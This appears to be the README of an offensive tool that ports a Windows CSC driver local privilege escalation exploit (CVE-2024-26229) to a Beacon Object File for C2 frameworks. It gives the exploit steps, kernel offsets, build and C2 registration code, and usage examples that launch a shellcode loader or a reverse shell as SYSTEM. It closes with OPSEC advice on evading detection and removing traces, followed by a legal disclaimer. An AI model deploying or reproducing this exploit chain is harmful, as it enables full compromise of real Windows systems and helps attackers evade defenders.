
CVE-2024-26229 Beacon Object File version
Beacon Object File implementation of CVE-2024-26229 — Windows CSC driver local privilege escalation via DKOM token theft.
Based on RalfHacker/CVE-2024-26229-exploit, converted to BOF with Dynamic Function Resolution (DFR) for use with C2 frameworks that support the Cobalt Strike BOF API.
\Device\Mup\;Csc\.\. via NtCreateFile to get a handle to the CSC driver0x001401a3 (CSC_DEV_FCB_XXX_CONTROL_FILE) with a crafted input buffer pointing to KTHREAD->PreviousMode - 0x18, corrupting PreviousMode from UserMode to KernelModePreviousMode = KernelMode, NtWriteVirtualMemory can write to arbitrary kernel addressesPID 4) EPROCESS->Token over the current process token (DKOM)PreviousMode to UserModeCreateProcessA — the child inherits the SYSTEM tokenThe beacon process itself becomes SYSTEM after step 4. The spawned process is optional — if CreateProcessA fails, the beacon is still elevated.
HKLM\SYSTEM\CurrentControlSet\Services\CSC → Start = 1)| Offset | Value | Structure |
|---|---|---|
EPROCESS->Token | 0x4B8 | Windows 10 19041–19045 / Server 2019 17763 |
KTHREAD->PreviousMode | 0x232 | Windows 10 19041–19045 / Server 2019 17763 |
These offsets are version-specific. If targeting a different build, verify with WinDbg:
dt nt!_EPROCESS Token
dt nt!_KTHREAD PreviousMode
Requires mingw-w64 and a beacon.h header compatible with your C2 framework.
x86_64-w64-mingw32-gcc -c -o cve-2024-26229.x64.o cve-2024-26229.c
Place the compiled .o in your BOF directory (e.g., _bin/cve-2024-26229.x64.o).
cve-2024-26229 --path <exe_path> [--args "<exe_args>"]
Spawn a loader with local shellcode:
cve-2024-26229 --path C:\Users\user\loader.exe --args "--munition-local C:\Users\user\payload.bin"
Spawn a reverse shell:
cve-2024-26229 --path C:\Windows\System32\cmd.exe --args "/c C:\Users\user\shell.exe"
Run without arguments:
cve-2024-26229 --path C:\Users\user\beacon.exe
[+] System EPROCESS = 0xffff9383f3a62040
[+] Current KTHREAD = 0xffff9383fa4df080
[+] Current EPROCESS = 0xffff9383fa9b3080
[!] DKOM: overwriting EPROCESS->Token
[+] Token replaced -- beacon process is now SYSTEM
[+] Spawned PID 2044 as SYSTEM: C:\Users\user\loader.exe --munition-local C:\Users\user\payload.bin
Register the BOF in your .axs extension script:
var cmd_cve26229 = ax.create_command(
"cve-2024-26229",
"CVE-2024-26229 CSC driver LPE -- DKOM token theft to SYSTEM",
"cve-2024-26229 --path C:\\loader.exe --args \"--munition-local C:\\payload.bin\""
);
cmd_cve26229.addArgFlagString("--path", "path", "Path to executable to run as SYSTEM", "");
cmd_cve26229.addArgFlagString("--args", "args", "Arguments for the executable", "");
cmd_cve26229.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {
let path = parsed_json["path"];
let args = parsed_json["args"];
if (!path) {
ax.task_output(id, "Error: --path is required");
return;
}
let bof_params = ax.bof_pack("cstr,cstr", [path, args]);
let bof_path = ax.script_dir() + "_bin/cve-2024-26229." + ax.arch(id) + ".o";
ax.execute_alias(id, cmdline, `execute bof "${bof_path}" ${bof_params}`, "Task: CVE-2024-26229 LPE");
});
Argument packing is cstr,cstr — two null-terminated strings matching the two BeaconDataExtract calls in the BOF.
PreviousMode. No files written, no services created, no registry modifications.--munition-local pattern) rather than fetching over HTTP to avoid network-based detections.CreateProcessA with CREATE_NO_WINDOW. The spawned process inherits the SYSTEM token. If your loader injects into another process (e.g., svchost.exe), the on-disk loader can be cleaned up afterward.NtCreateFile call to \Device\Mup\;Csc\.\. and the IOCTL are not commonly logged by default Sysmon configurations. The CreateProcessA call will generate a standard Process Create (Event ID 1) — ensure your spawned binary is not signatured.PreviousMode to UserMode after the token copy. The beacon process continues to function normally post-exploitation.EPROCESS->Token (0x4B8) and KTHREAD->PreviousMode (0x232) values are valid for Windows 10 19041–19045 and Server 2019 17763. Other builds may require adjustment.sc query csc or registry HKLM\SYSTEM\CurrentControlSet\Services\CSC (Start = 1). The driver is enabled by default on workstations but may be disabled on servers.This tool is intended for authorized penetration testing and security research only.
Use of this tool against systems you do not own or do not have explicit written permission to test is illegal under Vietnamese law, including but not limited to:
This tool is provided for educational purposes only. The author assumes no liability for misuse. You are solely responsible for ensuring your use complies with all applicable local, national, and international laws.
By using this tool you confirm that you have obtained proper authorization from the system owner prior to any testing activity.